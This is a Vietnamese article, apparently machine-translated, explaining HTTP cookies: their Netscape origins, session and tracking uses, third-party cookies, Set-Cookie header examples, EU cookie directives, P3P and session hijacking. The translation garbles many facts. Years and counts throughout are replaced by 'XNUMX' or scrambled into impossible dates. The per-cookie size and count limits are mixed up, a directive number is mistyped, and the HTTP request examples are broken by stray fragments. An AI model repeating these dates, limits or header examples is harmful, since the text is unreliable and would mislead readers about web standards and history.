in ,

Internet Cookie: Nó là gì? Định nghĩa, Nguồn gốc, Loại và Quyền riêng tư

Vai trò của cookie là gì, nó là gì và có những loại cookie nào? 🍪

Internet Cookie: Nó là gì? Định nghĩa, Nguồn gốc, Loại và Quyền riêng tư
Internet Cookie: Nó là gì? Định nghĩa, Nguồn gốc, Loại và Quyền riêng tư

Un cookie hoặc cookie web (Hoặc bánh quy, Được viết tắt là nhân chứng ở Quebec) được giao thức truyền thông HTTP định nghĩa là một chuỗi thông tin được gửi bởi máy chủ HTTP tới máy khách HTTP, máy khách này trả về mỗi khi cùng một máy chủ HTTP được truy vấn trong các điều kiện nhất định.

Cookie tương đương với một tệp văn bản nhỏ được lưu trữ trên thiết bị đầu cuối của người dùng Internet. Tồn tại hơn 20 năm, chúng cho phép các nhà phát triển trang web lưu trữ dữ liệu người dùng để tạo điều kiện thuận lợi cho việc điều hướng của họ và cho phép một số chức năng nhất định. Cookie luôn gây tranh cãi ít nhiều vì chúng chứa thông tin cá nhân còn sót lại mà các bên thứ ba có thể khai thác.

Nó được máy chủ web gửi dưới dạng tiêu đề HTTP tới trình duyệt web, trình duyệt này sẽ trả về nó không thay đổi mỗi khi nó truy cập máy chủ. Một cookie có thể được sử dụng để xác thực, một phiên (bảo trì nhà nước), và cho lưu trữ thông tin cụ thể về người dùng, chẳng hạn như tùy chọn trang web hoặc nội dung của giỏ hàng điện tử. Thuật ngữ cookie có nguồn gốc từ bánh quy ma thuật, một khái niệm nổi tiếng trong điện toán UNIX, đã truyền cảm hứng cho ý tưởng và tên của cookie trình duyệt. Có một số lựa chọn thay thế cho cookie, mỗi lựa chọn đều có cách sử dụng, ưu điểm và nhược điểm riêng.

Là các tệp văn bản đơn giản, cookie không thể thực thi được. Họ không phải không phải phần mềm gián điệp hay vi-rút, mặc dù cookie từ một số trang web được nhiều phần mềm chống vi-rút phát hiện vì chúng cho phép người dùng bị theo dõi khi họ truy cập nhiều trang web. 

Hầu hết các trình duyệt hiện đại đều cho phép người dùng quyết định chấp nhận hay từ chối cookie. Người dùng cũng có thể chọn thời gian cookie được lưu trữ. Tuy nhiên, việc từ chối hoàn toàn cookie khiến một số trang web không sử dụng được. Ví dụ: lưu trữ giỏ hàng hoặc trang web yêu cầu đăng nhập bằng thông tin xác thực (tên người dùng và mật khẩu).

Mục lục

Lịch sử

thuật ngữ Cookie bắt nguồn từ thuật ngữ tiếng Anh bánh quy ma thuật, là một gói dữ liệu mà một chương trình nhận được và trả lại không thay đổi. Cookie đã được sử dụng trong CNTT khi Lou Montulli đã có ý tưởng sử dụng chúng trong truyền thông web vào tháng 1994 năm XNUMX. Vào thời điểm đó, anh ấy đang làm việc cho Netscape Communications, công ty đã phát triển một ứng dụng thương mại điện tử cho một khách hàng. Cookie đã đưa ra giải pháp cho vấn đề về độ tin cậy của việc triển khai giỏ mua hàng ảo của cửa hàng.

John Giannandrea và Lou Montulli đã viết đặc tả cookie đầu tiên của Netscape cùng năm đó. Phiên bản 0.9 beta của Mosaic Netscape, phát hành ngày 13 tháng 1994 năm XNUMX, tích hợp công nghệ cookie (xem bài). Việc sử dụng cookie đầu tiên (không thử nghiệm) là để xác định xem những người truy cập vào trang web Netscape đã từng truy cập trang web trước đó chưa. Montulli đã nộp đơn xin cấp bằng sáng chế cho công nghệ cookie vào năm 1995 và bằng sáng chế số 5774670 của Hoa Kỳ đã được cấp. cấp năm 1998.

Sau khi được triển khai trong Netscape 0.9 beta vào năm 1994, cookie đã được tích hợp vào Internet Explorer 2, phát hành vào tháng 1995 năm XNUMX.

Việc giới thiệu cookie vẫn chưa được công chúng biết đến rộng rãi. Cụ thể, cookie được chấp nhận theo mặc định trong cài đặt trình duyệt và người dùng không được thông báo về sự hiện diện của chúng. Một số người biết đến sự tồn tại của cookie vào khoảng quý 1995 năm 12, nhưng công chúng chỉ biết đến sự tồn tại của chúng sau khi Financial Times đăng một bài báo vào ngày 1996 tháng 1996 năm 1997. Cũng trong năm đó, cookie nhận được rất nhiều sự chú ý của giới truyền thông vì có thể xâm phạm quyền riêng tư. Chủ đề về bánh quy đã được thảo luận trong hai cuộc tham vấn của Ủy ban Thương mại Liên bang Hoa Kỳ vào năm XNUMX và XNUMX.

Quá trình phát triển đặc tả cookie chính thức đã được tiến hành. Các cuộc thảo luận đầu tiên về đặc điểm kỹ thuật chính thức diễn ra vào tháng 1995 năm 1996 trên danh sách gửi thư www-talk. Một nhóm làm việc IETF đặc biệt đã được thành lập. Hai đề xuất thay thế để giới thiệu trạng thái cho các giao dịch HTTP lần lượt được đề xuất bởi Brian Behlendorf và David Kristol, nhưng nhóm do chính Kristol đứng đầu đã quyết định sử dụng đặc điểm kỹ thuật của Netscape làm điểm khởi đầu. Vào tháng XNUMX năm XNUMX, nhóm làm việc đã xác định rằng cookie của bên thứ ba là mối đe dọa đáng kể đối với quyền riêng tư. Thông số kỹ thuật do nhóm sản xuất cuối cùng đã được xuất bản dưới dạng RFC 2109.

Từ cuối năm 2014, chúng tôi thấy một biểu ngữ về cookie trên nhiều trang web. Có ít nhất một tiện ích mở rộng trình duyệt cho phép biểu ngữ không hiển thị.

Các loại cookie và cách sử dụng

Quản lý phiên

Cookie có thể được sử dụng để duy trì dữ liệu người dùng trong quá trình điều hướng cũng như trong nhiều lần truy cập. Cookie được giới thiệu để cung cấp phương tiện triển khai giỏ mua hàng điện tử, một thiết bị ảo trong đó người dùng có thể tích lũy các mặt hàng mình muốn mua khi duyệt trang web.

Ngày nay, thay vào đó, các ứng dụng như giỏ hàng lưu trữ danh sách các mặt hàng trong cơ sở dữ liệu trên máy chủ, điều này tốt hơn; hơn là lưu chúng trong chính cookie. Máy chủ web gửi cookie chứa ID phiên duy nhất. Sau đó, trình duyệt web sẽ trả lại ID phiên này cho mỗi yêu cầu tiếp theo và các mục trong giỏ được lưu và liên kết với cùng một ID phiên duy nhất này.

Việc sử dụng cookie thường xuyên sẽ hữu ích cho việc đăng nhập vào một trang web bằng thông tin đăng nhập. Nói tóm lại, trước tiên, máy chủ web sẽ gửi một cookie chứa ID phiên duy nhất. Sau đó, người dùng cung cấp thông tin đăng nhập của họ (thường là tên người dùng và mật khẩu). Sau đó, ứng dụng web xác thực phiên và cho phép người dùng truy cập dịch vụ.

cá nhân hóa

Cookie có thể được sử dụng để ghi nhớ thông tin về người dùng của một trang web, nhằm hiển thị cho anh ta nội dung phù hợp trong tương lai. Ví dụ: máy chủ web có thể gửi cookie chứa tên người dùng cuối cùng được sử dụng để đăng nhập vào trang web đó, để tên người dùng đó có thể được điền trước trong các lần truy cập sau này.

Nhiều trang web sử dụng cookie để cá nhân hóa dựa trên sở thích của người dùng. Người dùng chọn tùy chọn của họ trong một biểu mẫu và gửi chúng đến máy chủ. Máy chủ mã hóa các tùy chọn trong cookie và gửi lại cho trình duyệt. Sau đó, mỗi khi người dùng truy cập một trang của trang web này, trình duyệt sẽ trả về cookie và do đó, danh sách tùy chọn; sau đó máy chủ có thể tùy chỉnh trang theo sở thích của người dùng. Ví dụ: trang web Wikipedia cho phép người dùng chọn giao diện của trang web mà họ thích. Công cụ tìm kiếm Google cho phép người dùng (ngay cả khi họ chưa đăng ký) chọn số lượng kết quả họ muốn xem trên mỗi trang kết quả.

theo dõi

Cookie theo dõi được sử dụng để theo dõi thói quen duyệt web của người dùng internet. Điều này cũng có thể được thực hiện một phần bằng cách sử dụng địa chỉ IP của máy tính đưa ra yêu cầu cho một trang hoặc bằng cách sử dụng tiêu đề HTTP 'liên kết giới thiệu' mà khách hàng gửi cùng với mọi yêu cầu, nhưng cookie cho phép độ chính xác cao hơn. Điều này có thể được thực hiện như trong ví dụ sau:

  1. Nếu người dùng gọi một trang trên một trang web và yêu cầu không chứa cookie, máy chủ sẽ giả định rằng đây là trang đầu tiên được người dùng truy cập. Sau đó, máy chủ sẽ tạo một chuỗi ngẫu nhiên và gửi nó tới trình duyệt cùng với trang được yêu cầu.
  2. Kể từ thời điểm này, cookie sẽ được trình duyệt tự động gửi mỗi khi một trang mới của trang web được gọi. Máy chủ sẽ gửi trang như bình thường, nhưng cũng sẽ ghi lại URL của trang được gọi, ngày, giờ của yêu cầu và cookie trong một tệp nhật ký.

Bằng cách xem tệp nhật ký, có thể biết người dùng đã truy cập trang nào và theo thứ tự nào. Ví dụ: nếu tệp chứa một số yêu cầu được thực hiện bằng cách sử dụng cookie id=abc, thì điều này có thể xác định rằng tất cả các yêu cầu này đều đến từ cùng một người dùng. URL được yêu cầu, ngày và giờ liên quan đến các yêu cầu cho phép theo dõi quá trình duyệt của người dùng.

Cookie và bọ web của bên thứ ba, được giải thích bên dưới, cũng cho phép theo dõi trên các trang web khác nhau. Theo dõi trang web duy nhất thường được sử dụng cho mục đích thống kê. Ngược lại, theo dõi trên các trang web khác nhau bằng cookie của bên thứ ba thường được các công ty quảng cáo sử dụng để tạo hồ sơ người dùng ẩn danh (sau đó được sử dụng để xác định quảng cáo nào sẽ được hiển thị cho người dùng cũng như gửi cho anh ta email tương ứng với những quảng cáo này - SPAM ).

Cookie theo dõi có nguy cơ xâm phạm quyền riêng tư của người dùng nhưng chúng có thể dễ dàng bị xóa. Hầu hết các trình duyệt hiện đại đều có tùy chọn tự động xóa cookie liên tục khi đóng ứng dụng.

Cookie của bên thứ ba

Hình ảnh và các đối tượng khác chứa trong một trang web có thể nằm trên các máy chủ khác với máy chủ lưu trữ trang. Để hiển thị trang, trình duyệt tải xuống tất cả các đối tượng này. Hầu hết các trang web chứa thông tin từ các nguồn khác nhau. Ví dụ: nếu bạn nhập www.example.com vào trình duyệt của mình, thường sẽ có các đối tượng hoặc quảng cáo trên một phần của trang đến từ các nguồn khác nhau, tức là từ một miền khác với www.example.com. Cookie của bên "thứ nhất" là cookie được đặt theo tên miền được liệt kê trong thanh địa chỉ của trình duyệt. Cookie của bên thứ ba được đặt bởi một trong các đối tượng trang đến từ một miền khác.

Theo mặc định, các trình duyệt như Mozilla Firefox, Microsoft Internet Explorer và Opera chấp nhận cookie của bên thứ ba nhưng người dùng có thể thay đổi cài đặt trong tùy chọn trình duyệt để chặn chúng. Không có rủi ro bảo mật vốn có trong cookie của bên thứ ba kích hoạt chức năng web, tuy nhiên, chúng cũng được sử dụng để theo dõi người dùng. từ trang này sang trang khác.

Các công cụ như Ghostery có sẵn cho tất cả các trình duyệt bao gồm Google Chrome có thể chặn trao đổi giữa các bên thứ ba.

Thực hiện

Khả năng tương tác giữa trình duyệt web và máy chủ lưu trữ trang web. Máy chủ gửi cookie tới trình duyệt và trình duyệt sẽ gửi lại cookie khi nó gọi một trang khác.
Khả năng tương tác giữa trình duyệt web và máy chủ lưu trữ trang web. Máy chủ gửi cookie tới trình duyệt và trình duyệt sẽ gửi lại cookie khi nó gọi một trang khác.

Cookie là những mẩu dữ liệu nhỏ được máy chủ web gửi tới trình duyệt. Trình duyệt trả lại chúng không thay đổi cho máy chủ, đưa trạng thái (bộ nhớ của các sự kiện trong quá khứ) vào giao dịch HTTP không trạng thái. Không có cookie, mỗi lần truy xuất trang web hoặc một thành phần của trang web là một sự kiện biệt lập, độc lập với các yêu cầu khác được thực hiện cho cùng một trang web. Ngoài việc có thể được đặt bởi máy chủ web, cookie cũng có thể được đặt bằng các ngôn ngữ kịch bản như JavaScript, nếu được trình duyệt hỗ trợ và cho phép.

Thông số cookie chính thức cho thấy rằng các trình duyệt sẽ có thể lưu và gửi lại số lượng cookie tối thiểu. Cụ thể, một trình duyệt có thể lưu trữ ít nhất 300 cookie, mỗi cookie có dung lượng 20 kilobyte và ít nhất XNUMX cookie cho một máy chủ hoặc miền.

Theo mục 3.1 của RFC 2965, tên cookie không phân biệt chữ hoa chữ thường.

Một cookie có thể chỉ định ngày hết hạn, trong trường hợp đó, cookie sẽ bị xóa vào ngày này. Nếu cookie không chỉ định ngày hết hạn, cookie sẽ bị xóa ngay khi người dùng rời khỏi trình duyệt của mình. Do đó, chỉ định ngày hết hạn là một cách để cookie tồn tại qua nhiều phiên. Vì lý do này, cookie có ngày hết hạn được cho là cố chấp. Một ứng dụng ví dụ: một trang web bán lẻ có thể sử dụng cookie liên tục để ghi lại các mặt hàng mà người dùng đã đặt trong giỏ hàng của họ (trong thực tế, cookie có thể đề cập đến một mục được lưu trong cơ sở dữ liệu trên trang web bán hàng chứ không phải trong máy tính của bạn) . Thông qua phương tiện này, nếu người dùng rời khỏi trình duyệt của họ mà không mua hàng và quay lại sau, họ sẽ có thể tìm lại các mặt hàng trong giỏ hàng. Nếu những cookie này không đưa ra ngày hết hạn, chúng sẽ hết hạn khi đóng trình duyệt và thông tin về nội dung của giỏ sẽ bị mất.

Cookie có thể bị giới hạn phạm vi đối với một tên miền, tên miền phụ hoặc đường dẫn cụ thể trên máy chủ đã tạo ra chúng.

Việc chuyển các trang web được thực hiện bằng Giao thức truyền siêu văn bản (HTTP). Bằng cách bỏ qua cookie, trình duyệt gọi một trang từ máy chủ web bằng cách gửi cho chúng một văn bản ngắn có tên là yêu cầu HTTP. Ví dụ: để truy cập trang www.example.org/index.html, trình duyệt kết nối với máy chủ www.example.org và gửi yêu cầu giống như sau:

NHẬN /index.html HTTP/1.1Host: www.example.org
hoa tiêuServeur

Máy chủ phản hồi bằng cách gửi trang được yêu cầu, trước một văn bản tương tự, toàn bộ được gọi phản hồi HTTP. Gói này có thể chứa các dòng hướng dẫn trình duyệt lưu trữ cookie:

HTTP/1.1 200 OKLoại nội dung: văn bản/htmlSet-Cookie: tên=giá trị
(trang HTML)
hoa tiêuServeur

Máy chủ chỉ gửi dòng Set-Cookie, nếu máy chủ muốn trình duyệt lưu trữ cookie. Set-Cookie là một yêu cầu để trình duyệt lưu trữ chuỗi tên=giá trị và trả lại nó trong tất cả các yêu cầu trong tương lai cho máy chủ. Nếu trình duyệt hỗ trợ cookie và cookie được bật trong tùy chọn trình duyệt, cookie sẽ được đưa vào tất cả các yêu cầu tiếp theo được thực hiện cho cùng một máy chủ. Ví dụ: trình duyệt gọi trang www.example.org/news.html bằng cách gửi yêu cầu sau tới máy chủ www.example.org:

NHẬN /news.html HTTP/1.1Host: www.example.orgCookie: name=valueAccept: */*
hoa tiêuServeur

Đây là yêu cầu cho một trang khác từ cùng một máy chủ và khác với yêu cầu đầu tiên ở trên vì nó chứa một chuỗi mà trước đó máy chủ đã gửi tới trình duyệt. Nhờ phương tiện này, máy chủ biết rằng yêu cầu này được liên kết với yêu cầu trước đó. Máy chủ phản hồi bằng cách gửi trang được gọi và cũng bằng cách thêm các cookie khác vào trang đó.

Giá trị của cookie có thể được thay đổi bởi máy chủ bằng cách gửi một dòng mới Set-Cookie: name=new_value để phản hồi lại trang được gọi. Sau đó, trình duyệt sẽ thay thế giá trị cũ bằng giá trị mới.

Dòng Set-Cookie thường được tạo bởi chương trình CGI hoặc ngôn ngữ kịch bản khác, không phải bởi máy chủ HTTP. Máy chủ HTTP (ví dụ: Apache) sẽ chỉ truyền kết quả của chương trình (một tài liệu đứng trước tiêu đề chứa cookie) tới trình duyệt.

Cookie cũng có thể được đặt bằng JavaScript hoặc các ngôn ngữ tương tự khác chạy trong trình duyệt, tức là ở phía máy khách chứ không phải phía máy chủ. Trong JavaScript, đối tượng document.cookie được sử dụng cho mục đích này. Ví dụ: câu lệnh document.cookie = "Temperature=20" tạo một cookie có tên là "Temperature" và có giá trị là 20.

Ví dụ về phản hồi HTTP từ google.com, đặt cookie có thuộc tính.
Ví dụ về phản hồi HTTP từ google.com, đặt cookie có thuộc tính.

Ngoài cặp tên/giá trị, cookie cũng có thể chứa ngày hết hạn, đường dẫn, tên miền và loại kết nối dự định, tức là thông thường hoặc được mã hóa. RFC 2965 cũng định nghĩa rằng cookie phải có số phiên bản bắt buộc, nhưng số này thường bị bỏ qua. Các phần dữ liệu này tuân theo cặp name=new_value và được phân tách bằng dấu chấm phẩy. Ví dụ: máy chủ có thể tạo cookie bằng cách gửi một dòng Set-Cookie: name=new_value; hết hạn=ngày; đường dẫn =/; miền=.example.org.

Cookie hết hạn và sau đó không được trình duyệt gửi đến máy chủ trong các trường hợp sau:

  • Khi đóng trình duyệt, nếu cookie không tồn tại.
  • Khi ngày hết hạn cookie đã qua.
  • Khi ngày hết hạn cookie được thay đổi (bởi máy chủ hoặc tập lệnh) thành một ngày trong quá khứ.
  • Khi trình duyệt xóa cookie theo yêu cầu của người dùng.

Tình huống thứ ba cho phép máy chủ hoặc tập lệnh xóa cookie một cách rõ ràng. Lưu ý rằng trình duyệt web Google Chrome có thể biết ngày hết hạn của một cookie cụ thể bằng cách truy cập cài đặt nội dung. Một cookie được lưu trên máy tính rất có thể vẫn ở đó trong vài thập kỷ nếu không có quy trình nào được thực hiện để xóa nó.

khuôn mẫu

Kể từ khi chúng được giới thiệu trên Internet, nhiều ý tưởng về cookie đã lan truyền trên Internet và trên các phương tiện truyền thông. Năm 1998, CIAC, một nhóm giám sát sự cố máy tính của Bộ Năng lượng Hoa Kỳ, đã xác định rằng các lỗ hổng bảo mật cookie "về cơ bản không tồn tại" và giải thích rằng "thông tin về nguồn gốc truy cập của bạn và chi tiết của các trang web bạn đã truy cập đã tồn tại trong các tệp nhật ký của máy chủ web”. Năm 2005, Nghiên cứu Sao Mộc đã công bố kết quả của một nghiên cứu, trong đó một tỷ lệ đáng kể số người được hỏi đã xem xét các tuyên bố sau:

  • Cookie giống như Virus, chúng lây nhiễm vào ổ cứng của người dùng.
  • tạo cookie pop-up.
  • Cookies được sử dụng để gửi thư rác.
  • Cookies chỉ được sử dụng cho quảng cáo.

Cookies không thể xóa hoặc đọc thông tin từ máy tính của người dùng. Tuy nhiên, cookie giúp phát hiện các trang web được người dùng truy cập trên một trang web hoặc tập hợp các trang web nhất định. Thông tin này có thể được thu thập trong hồ sơ người dùng có thể được sử dụng hoặc bán lại cho bên thứ ba, điều này có thể gây ra các vấn đề nghiêm trọng về quyền riêng tư. Một số hồ sơ là ẩn danh, theo nghĩa là chúng không chứa thông tin cá nhân, nhưng ngay cả những hồ sơ như vậy cũng có thể đáng ngờ.

Cũng theo nghiên cứu này, một tỷ lệ lớn người dùng Internet không biết cách xóa cookie. Một trong những lý do khiến mọi người không tin tưởng cookie là một số trang web đã lạm dụng khía cạnh nhận dạng cá nhân của cookie và chia sẻ thông tin này với các nguồn khác. Một tỷ lệ lớn quảng cáo được nhắm mục tiêu và email không mong muốn, được coi là thư rác, xuất phát từ thông tin thu thập được từ cookie theo dõi.

Paramètres du Navigateur

Hầu hết các trình duyệt đều hỗ trợ cookie và cho phép người dùng tắt chúng. Các tùy chọn phổ biến nhất là:

  • Bật hoặc tắt hoàn toàn cookie để chúng liên tục được chấp nhận hoặc bị chặn.
  • Cho phép người dùng xem các cookie đang hoạt động trong một trang nhất định bằng cách nhập javascript: alert(document.cookie) vào thanh địa chỉ của trình duyệt. Một số trình duyệt kết hợp trình quản lý cookie để người dùng có thể xem và xóa có chọn lọc các cookie hiện được trình duyệt lưu trữ.

Hầu hết các trình duyệt cũng cho phép xóa toàn bộ dữ liệu cá nhân bao gồm cookie. Các mô-đun bổ sung để kiểm soát quyền cookie cũng tồn tại.

Quyền riêng tư và Cookie của bên thứ ba

Trong ví dụ hư cấu này, một công ty quảng cáo đã đặt các biểu ngữ trên hai trang web. Bằng cách lưu trữ các biểu ngữ trên máy chủ của mình và sử dụng cookie của bên thứ ba, công ty quảng cáo có thể theo dõi điều hướng của người dùng thông qua hai trang web này.

Cookie có ý nghĩa quan trọng đối với quyền riêng tư và tính ẩn danh của người dùng web. Mặc dù cookie chỉ được gửi trở lại máy chủ đã đặt chúng hoặc tới máy chủ thuộc cùng một miền Internet, tuy nhiên, một trang web có thể chứa hình ảnh hoặc các thành phần khác được lưu trữ trên máy chủ thuộc các miền khác. Các cookie được đặt trong quá trình khôi phục các thành phần bên ngoài này được gọi là cookie của bên thứ ba. Điều này bao gồm cookie từ các cửa sổ bật lên không mong muốn.

Các công ty quảng cáo sử dụng cookie của bên thứ ba để theo dõi người dùng trên các trang web khác nhau mà họ truy cập. Cụ thể, một công ty quảng cáo có thể theo dõi người dùng trên tất cả các trang mà họ đã đặt hình ảnh quảng cáo hoặc pixel theo dõi. Kiến thức về các trang mà người dùng truy cập cho phép công ty quảng cáo nhắm mục tiêu các tùy chọn quảng cáo của người dùng.

Khả năng xây dựng hồ sơ người dùng được một số người coi là hành vi xâm phạm quyền riêng tư, đặc biệt khi việc theo dõi được thực hiện trên các miền khác nhau bằng cách sử dụng cookie của bên thứ ba. Vì lý do này, một số quốc gia có luật cookie.

Chính phủ Hoa Kỳ đã thực hiện các quy tắc nghiêm ngặt về việc đặt cookie vào năm 2000, sau khi có thông tin tiết lộ rằng Văn phòng Chính sách Thuốc của Nhà Trắng đang sử dụng cookie để theo dõi máy tính của những người dùng xem quảng cáo thuốc trực tuyến. Năm 2002, nhà hoạt động bảo mật Daniel Brandt đã phát hiện ra rằng CIA đã để lại các cookie liên tục trên các máy tính đã truy cập trang web của họ. Sau khi được thông báo về vi phạm này, CIA đã tuyên bố rằng những cookie này không được gửi có chủ ý và ngừng thiết lập chúng. Vào ngày 25 tháng 2005 năm XNUMX, Brandt phát hiện ra rằng Cơ quan An ninh Quốc gia (NSA) đã để lại hai cookie liên tục trên máy tính của khách truy cập do cập nhật phần mềm. Sau khi được thông báo, NSA đã ngay lập tức vô hiệu hóa cookie.

Tại Vương quốc Anh, các luật cookie “, có hiệu lực vào ngày 25 tháng 2012 năm XNUMX, bắt buộc các trang web phải tuyên bố ý định của họ, do đó cho phép người dùng lựa chọn xem họ có muốn để lại dấu vết hay không khi họ đi qua Internet. Do đó, chúng có thể được bảo vệ khỏi việc nhắm mục tiêu quảng cáo. Tuy nhiên, dựa theo The Guardian, sự đồng ý của người dùng Internet không nhất thiết phải rõ ràng; các thay đổi đã được thực hiện đối với các điều khoản về sự đồng ý của người dùng, làm cho nó do đó ngụ ý.

Chỉ thị 2002/58 về quyền riêng tư

Chỉ thị 202/58 về quyền riêng tư và thông tin liên lạc điện tử, chứa các quy tắc về việc sử dụng cookie. Cụ thể, điều 5, đoạn 3 của chỉ thị này yêu cầu việc lưu trữ dữ liệu (chẳng hạn như cookie) trong máy tính của người dùng chỉ có thể được thực hiện nếu:

  • người dùng được thông báo về cách dữ liệu được sử dụng;
  • người dùng được cung cấp tùy chọn từ chối hoạt động lưu trữ này. Tuy nhiên, bài viết này cũng nói rằng việc lưu trữ dữ liệu vì lý do kỹ thuật được miễn trừ khỏi luật này.

Do được thực hiện từ tháng 2003 năm 2004, tuy nhiên, chỉ thị này chỉ được đưa vào thực hiện một cách không hoàn hảo theo một báo cáo vào tháng XNUMX năm XNUMX, trong đó cũng chỉ ra rằng một số Quốc gia Thành viên (Slovakia, Latvia, Hy Lạp, Bỉ và Luxembourg) vẫn chưa chuyển đổi chỉ đạo thành luật trong nước.

Theo ý kiến ​​​​của G29 vào năm 2010, chỉ thị này, trong đó đáng chú ý là điều kiện sử dụng cookie cho mục đích quảng cáo hành vi, dựa trên sự đồng ý rõ ràng của người dùng Internet, vẫn được áp dụng rất kém. Trên thực tế, hầu hết các trang web làm như vậy theo cách không tuân thủ chỉ thị, bằng cách tự giới hạn mình ở một "biểu ngữ" đơn giản thông báo về việc sử dụng "cookie" mà không cung cấp thông tin về cách sử dụng, không phân biệt giữa các cookie "kỹ thuật". cookie "theo dõi", cũng như không cung cấp lựa chọn thực sự cho người dùng muốn duy trì cookie kỹ thuật (chẳng hạn như cookie quản lý giỏ hàng) và từ chối cookie "theo dõi". Trên thực tế, nhiều trang web không hoạt động chính xác nếu cookie bị từ chối, điều này không tuân thủ chỉ thị 2002/58 hoặc chỉ thị 95/46 (Bảo vệ dữ liệu cá nhân).

Chỉ thị 2009/136 / CE

Tài liệu này đã được cập nhật theo Chỉ thị 2009/136/EC ngày 25 tháng 2009 năm 95, trong đó nêu rõ rằng "việc lưu trữ thông tin hoặc truy cập thông tin đã được lưu trữ trong thiết bị đầu cuối của thuê bao hoặc người dùng chỉ được phép với điều kiện là người đăng ký hoặc người dùng đã đồng ý, sau khi nhận được, theo Chỉ thị 46/XNUMX/EC, thông tin rõ ràng và đầy đủ, giữa những người khác về mục đích xử lý”. Do đó, chỉ thị mới tăng cường các nghĩa vụ trước khi đặt cookie trên máy tính của người dùng Internet.

Tuy nhiên, trong các cân nhắc sơ bộ của chỉ thị, nhà lập pháp châu Âu nêu rõ: "Khi có thể và hiệu quả về mặt kỹ thuật, theo các điều khoản có liên quan của Chỉ thị 95/46/EC, sự đồng ý của người dùng đối với việc xử lý có thể được thể hiện thông qua sử dụng các cài đặt thích hợp của trình duyệt hoặc ứng dụng khác”. Nhưng trên thực tế, cho đến nay, không có trình duyệt nào có thể tách biệt các cookie kỹ thuật thiết yếu khỏi các cookie tùy chọn mà người dùng có quyền lựa chọn.

Chỉ thị mới này đã được các nghị sĩ Bỉ chuyển đổi vào tháng 2012 năm 2014. Một nghiên cứu năm XNUMX cho thấy ngay cả các nghị sĩ cũng gặp khó khăn khi áp dụng các ràng buộc của chỉ thị.

P3P

Đặc tả P3P bao gồm khả năng máy chủ đưa ra chính sách quyền riêng tư, chính sách này xác định loại thông tin nó thu thập và cho mục đích gì. Các chính sách này bao gồm (nhưng không giới hạn) việc sử dụng thông tin được thu thập bằng cookie. Theo định nghĩa của P3P, trình duyệt có thể chấp nhận hoặc từ chối cookie bằng cách so sánh các chính sách quyền riêng tư với tùy chọn của người dùng hoặc bằng cách hỏi người dùng, trình bày tuyên bố về quyền riêng tư của chính sách quyền riêng tư do máy chủ khai báo.

Nhiều trình duyệt, bao gồm Apple Safari và Microsoft Internet Explorer phiên bản 6 và 7, hỗ trợ P3P cho phép trình duyệt xác định xem có chấp nhận lưu trữ cookie của bên thứ ba hay không. Trình duyệt Opera cho phép người dùng từ chối cookie của bên thứ ba và tạo hồ sơ bảo mật toàn cầu và cụ thể cho các miền Internet. Mozilla Firefox phiên bản 2 đã bỏ hỗ trợ P3P nhưng đã khôi phục nó trong phiên bản 3.

Hầu hết các trình duyệt có thể chặn cookie của bên thứ ba để tăng cường quyền riêng tư và giảm theo dõi quảng cáo mà không ảnh hưởng tiêu cực đến trải nghiệm web của người dùng. Nhiều công ty quảng cáo cung cấp một tùy chọn từ chối đối với quảng cáo được nhắm mục tiêu, bằng cách thiết lập một cookie chung trong trình duyệt để hủy kích hoạt nhắm mục tiêu này, nhưng giải pháp như vậy không hiệu quả trên thực tế, khi nó được tôn trọng, bởi vì cookie chung này sẽ bị xóa ngay sau khi người dùng xóa các cookie này, điều này sẽ hủy tùy chọn ra quyết định.

Nhược điểm của cookie

Ngoài các vấn đề về quyền riêng tư, cookie cũng có một số nhược điểm kỹ thuật. Cụ thể, chúng không phải lúc nào cũng xác định chính xác người dùng, chúng có thể làm chậm hiệu suất trang web khi ở số lượng lớn, chúng có thể được sử dụng cho các cuộc tấn công bảo mật và chúng xung đột với chuyển trạng thái đại diện, kiểu kiến ​​trúc của phần mềm.

nhận dạng không chính xác

Nếu nhiều trình duyệt được sử dụng trên máy tính, thì trong mỗi trình duyệt luôn có một bộ lưu trữ riêng cho cookie. Do đó, cookie không xác định một người, mà là sự kết hợp của tài khoản người dùng, máy tính và trình duyệt web. Do đó, bất kỳ ai cũng có thể sử dụng các tài khoản, máy tính hoặc trình duyệt có toàn bộ cookie này. Tương tự, cookie không phân biệt giữa nhiều người dùng có cùng tài khoản người dùng, máy tính và trình duyệt, chẳng hạn như trong “quán cà phê internet” hoặc bất kỳ nơi nào cho phép truy cập miễn phí vào tài nguyên máy tính.

Nhưng trên thực tế, tuyên bố này hóa ra là ngụy biện trong phần lớn các trường hợp vì ngày nay máy tính "cá nhân" (hoặc điện thoại thông minh hoặc máy tính bảng, tệ hơn) được sử dụng chủ yếu bởi một cá nhân. Điều này có nghĩa là nhắm mục tiêu vào một người cụ thể và thông qua khối lượng thông tin được thu thập, nhắm mục tiêu được cá nhân hóa ngay cả khi người đó không được xác định "cụ thể".

Một cookie có thể bị đánh cắp bởi một máy tính khác trên mạng.

Trong quá trình hoạt động bình thường, cookie được gửi lại giữa máy chủ (hoặc một nhóm máy chủ trong cùng một miền) và trình duyệt máy tính của người dùng. Vì cookie có thể chứa thông tin nhạy cảm (tên người dùng, mật khẩu được sử dụng để xác thực, v.v.), nên các máy tính khác không thể truy cập được các giá trị của chúng. Trộm cắp cookie là hành động chặn cookie của bên thứ ba trái phép.

Cookie có thể bị đánh cắp thông qua trình nghe trộm gói tin trong một cuộc tấn công gọi là chiếm quyền điều khiển phiên. Lưu lượng truy cập trên mạng có thể bị chặn và đọc bởi các máy tính không phải máy tính gửi và nhận (đặc biệt là trên không gian Wi-Fi công cộng không được mã hóa). Lưu lượng truy cập này bao gồm các cookie được gửi qua các phiên sử dụng giao thức HTTP đơn giản. Khi lưu lượng truy cập mạng không được mã hóa, do đó, người dùng độc hại có thể đọc thông tin liên lạc của những người dùng khác trên mạng bằng cách sử dụng "trình thám thính gói".

Vấn đề này có thể được khắc phục bằng cách mã hóa kết nối giữa máy tính của người dùng và máy chủ bằng giao thức HTTPS. Một máy chủ có thể chỉ định một cờ an toàn trong khi đặt cookie; trình duyệt sẽ chỉ gửi nó qua một đường dây an toàn, chẳng hạn như kết nối SSL.

Tuy nhiên, nhiều trang web, mặc dù sử dụng giao tiếp được mã hóa HTTPS để xác thực người dùng (tức là trang đăng nhập), sau đó gửi cookie phiên và dữ liệu khác như bình thường, thông qua các kết nối HTTP không được mã hóa vì lý do hiệu quả. Do đó, những kẻ tấn công có thể chặn cookie của người dùng khác và mạo danh họ trên các trang web thích hợp hoặc sử dụng chúng trong các cuộc tấn công cookie.

